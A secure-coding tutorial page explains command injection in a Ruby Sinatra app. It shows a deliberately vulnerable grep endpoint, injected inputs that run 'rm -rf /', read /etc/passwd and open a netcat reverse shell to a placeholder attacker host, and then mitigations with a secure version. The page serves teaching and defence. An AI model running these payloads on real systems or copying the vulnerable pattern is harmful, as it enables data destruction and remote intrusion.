top of page

Programming by example

Coding Made Easy

MisterTootor  M.S., B.S., A.S., A.S.B

mistertooter's

Cybersecurity actors can compromise Ruby applications by exploiting vulnerabilities such as command injection, insecure deserialization, or SQL injection. A common example is command injection, where malicious actors exploit unsafe user input handling through methods like Kernel#system, Kernel#exec, or backticks (`).

How Cybersecurity attacks can exploit Ruby's defenses

Command Injection example:

Vulnerable Code:

Consider a Ruby web application that provides a file search feature, allowing users to input a file name to search the server.

ruby

 

require 'sinatra'

get '/search' do
  file = params[:file]
  result = `grep #{file} /var/log/system.log` # Vulnerable to command injection
  "Search result: <pre>#{result}</pre>"
end

 

The Attack Scenario

1. Malicious Input: An attacker provides the following as the file parameter:

dummy.txt; rm -rf /

2. Injected Command: The backticks execute the shell command:

grep dummy.txt /var/log/system.log; rm -rf /

The semicolon (;) allows the attacker to append a destructive command to the grep query.

3. Result:

  • The application deletes critical files (rm -rf /).

  • If run with elevated privileges, this can destroy the server entirely.

Exploit Consequences:

1.Data Breach or Destruction: Attackers can read, delete, or modify sensitive files.

ruby

 

file = "dummy.txt; cat /etc/passwd"

2. System Hijacking: Attackers can open a reverse shell:

ruby

 

file = "dummy.txt; nc -e /bin/bash attacker_ip 4444"

3. Privilege Escalation: If the Ruby process runs with elevated privileges, attackers can compromise the entire system.

How to Mitigate:

1. Avoid Shell Execution: Use safer alternatives like Kernel#system with arguments or Ruby’s built-in methods for file operations.

ruby

 

result = `grep #{Shellwords.escape(file)} /var/log/system.log`

​2. Validate and Sanitize Input: Restrict input to known safe patterns.

    ruby

 

    if file =~ /^[a-zA-Z0-9._-]+$/

       result = `grep #{file} /var/log/system.log`

    else

       "Invalid input"

    end

The Shellwords.escape method ensures that input is safely escaped before being passed to the shell.

3. Use Parameterized Queries for Database Operations: Prevent SQL injection by using ORMs like

    ActiveRecord or parameterized queries.

 

   ruby

​

   User.where("username = ?", params[:username])

4. Restrict Privileges: Run the Ruby process with minimal privileges to limit damage if compromised.

5. Escape Output: Always escape user-controlled output in HTML contexts to prevent XSS attacks.

6. Use Security Tools: Employ libraries like brakeman to scan for vulnerabilities in Ruby code.

A Secure Ruby Implementation:

require 'sinatra'
require 'shellwords'

get '/search' do
  file = params[:file]

  # Validate input: allow only alphanumeric, dots, and dashes
  halt 400, "Invalid file name" unless file =~ /^[a-zA-Z0-9._-]+$/

  # Safely escape the user input
  escaped_file = Shellwords.escape(file)

  # Perform the operation securely
  result = `grep #{escaped_file} /var/log/system.log 2>/dev/null`

  "Search result: <pre>#{Rack::Utils.escape_html(result)}</pre>"
end

 

bottom of page